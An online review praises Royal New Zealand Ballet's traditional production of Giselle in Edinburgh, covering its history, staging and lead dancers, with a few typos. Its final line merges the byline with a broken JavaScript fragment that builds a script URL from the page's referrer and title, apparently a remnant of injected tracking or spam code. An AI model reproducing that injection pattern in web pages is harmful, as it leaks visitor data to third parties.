Review: Giselle- Festival Theatre, Edinburgh

Sometimes when it comes to classical ballets, taking plot risks can backfire. As one of the great Romantic ballets, Giselle has been performed countless times and when Royal New Zealand Ballet returned to Edinburgh last month, it was refreshing to see it was close to the original nineteenth century production.

Ethan Stiefel’s production contains all the clichés of classical ballet: long white dresses, men wearing waistcoats and braces and the setting of a rural village. From the first act it is clear that the Royal New Zealand Ballet will play it safe but this isn’t necessarily a bad thing. In an industry that has moved on since the Romantic era with choreographers like Scottish Ballet’s Christopher Hampson, and Matthew Bourne constantly re-imagining and revolutionising ballet, sometimes it is more artistic to stick to a traditional format. That’s one of the many strengths of this version of Giselle.

Giselle is a tragic two-act tale about a peasant girl driven mad by a nobleman but who then rises from her grave to save his life. In the 1841 original French production, Albrecht (Giselle’s betrayer) ended up with Bathilde, another women whom he had betrayed. However, in the changes by Marius Pepitain 1860, and then in the 1880s, Albrecht remained alone after his brush with death. Johan Kobborg and Ethan Stiefel have slightly altered Pepita’s choreography but the plot, structure and most of the steps remains the same.

Its major achievements came in other ways. The cast have exquisitely executed the timeless classic. Lucy Green is a casually elegant Giselle, effortlessly drifting into the moves and transitions. Mayu Tanigaito is a very convincing Myrtha, Queen of the Willis and the technical accuracy of her pas de deux with Albrecht (Carlo Di Lanno) is exceptional. Act Two is what Giselle is best known for and it doesn’t disappoint as the story’s Gothic horror edge comes into force. In this act, Albrecht almost gets his comeuppance at the hands of supernatural creatures (the ghosts of dead brides), the Wilis, who vengefully target young men and make them dance to their deaths. There is an operatic intensity to the emotions, beautifully spun out against Howard C Jones’ darkly brooding set.

The famous romantic ballets like Coppélia and La Sylphide do not come to Scotland often. This is understandable as staging traditional ballets can be more expensive than contemporary productions or modern retellings of the ballet canon that can rely on minimal set design. With its masterful storytelling, pristine execution, and two stunning leads, this version of Giselle is a must see.

By Émer O’Toole, Editor in Chiefs.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;